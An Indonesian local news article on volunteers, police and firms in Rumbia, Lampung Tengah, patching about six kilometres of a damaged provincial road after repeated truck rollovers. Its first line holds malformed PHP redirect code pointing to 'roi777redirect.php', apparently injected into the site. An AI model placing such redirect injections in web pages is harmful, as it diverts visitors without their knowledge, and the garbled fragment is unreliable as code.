header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Warga Gotong Royong Tambal Jalan -
Warga Gotong Royong Tambal Jalan

TRANSLAMPUNG.COM-RUMBIA-Penimbunan jalan milik pemerintah provinsi yang rusak parah di Kecamatan Rumbia, Lampung Tengah (Lamteng), terus dilakukan secara bergotong royong oleh jajaran polsek, uspika, dan Aliansi Masyarakat Cinta Damai (Almacida). Hal ini agar akses transportasi dan roda perekonomian masyarakat terus berjalan.

Kapolsek Rumbia AKP Edi Qorinas mengatakan bahwa penimbunan jalan yang berlubang menggunakan batu belah terus dilakukan agar akses jalan tidak terputus.

“Pelan-pelan, jalan yang berlubang kita tambal dengan batu belah secara gotong royong. Kalau nggak begini, bisa putus akses jalan di sini. Tentunya berdampak terhadap roda perekonomian masyarakat, khususnya di Rumbia,” katanya.

Rusaknya jalan provinsi ini, kata Edi, jalan kabupaten jadi ikut rusak karena kendaraan memilih melintasi jalan terobosan. “Jalan kabupaten jadi ikut rusak. Apalagi kendaraan overkapasitas melintas jalan kabupaten karena menghindari rusaknya jalan provinsi,” katanya.

Edi melanjutkan bahwa perbaikan jalan ini bersifat sementara waktu. “Ini perbaikan sementara agar bisa dilalui saja. Kalau dua bulan ke depan pemerintah provinsi tidak segera memperbaiki, akses jalan di sini pasti putus. Kita berharap jalan di sini jadi prioritas perbaikan infrastruktur,” ujarnya.

Sejauh ini, kata Edi, para pengusaha yang ada di Rumbia sudah berpartisipasi membantu perbaikan.

“Semua jalan berlubang sekitar enam kilometer yang rusak sudah kita isi batu belah. Tinggal batu splitnya. Kalau tidak diisi batu split, kasihan kendaraan yang lewat. Bisa cepat rusak. Perbaikan jalan ini merupakan bantuan swadaya perusahaan-perusahaan di Kecamatan Rumbia,” katanya.

Mantan Kapolsek Seputihmataram ini menyatakan, hampir setiap hari kecelakan terjadi akibat rusaknya jalan. “Sudah sering mobil terguling. Apalagi kendaraan yang bermuatan singkong dan kayu, sering terguling baik dalam kondisi hujan deras maupun panas,” ungkapnya.

Sebelumnya diberitakan, truk fuso warna cokelat BE 9617 BU bermuatan kayu akasia tujuan Palembang, Sumatera Selatan, terguling di jalan provinsi yang menghubungkan Kecamatan Seputihbanyak-Rumbia, tepatnya di Kampung Renobasuki II, Senin (23/1). Hal ini disebabkan kondisi jalan yang rusak parah.

Menurut Yanto (50), pengemudi truk, truk yang dikendalikannya terguling karena menghindari lubang yang menganga di tengah jalan. “Hindari lubang. Saya mau ke Palembang. Muat kayu akasia 15 kubik. Untungnya, saya tidak apa-apa,” kata warga Kota Metro ini.

Kecelakaan ini, kata Yanto, menyebabkan dirinya harus membongkar kembali muatannya. “Menghambat perjalanan. Muatan kayu harus dibongkar kembali,” ujarnya.

Udin (45), warga Kampung Renobasuki II, Kecamatan Rumbia, mengatakan kecelakaan seperti sudah sering terjadi. “Hampir setiap hari truk terguling, Mas. Terkadang truk bermuatan singkong. Kondisi jalannya sangat parah. Kalau nggak hati-hati, ya ngeguling,” ucapnya di sekitar lokasi kecelakaan.

Karena itu, dirinya selaku warga berharap pemerintah provinsi segera mengambil tindakan untuk memperbaikinya. “Harapan warga, pihak provinsi segera memperbaiki. Jangan menunggu korban jiwa dahulu,” ungkapnya.(tnn)

News Reporter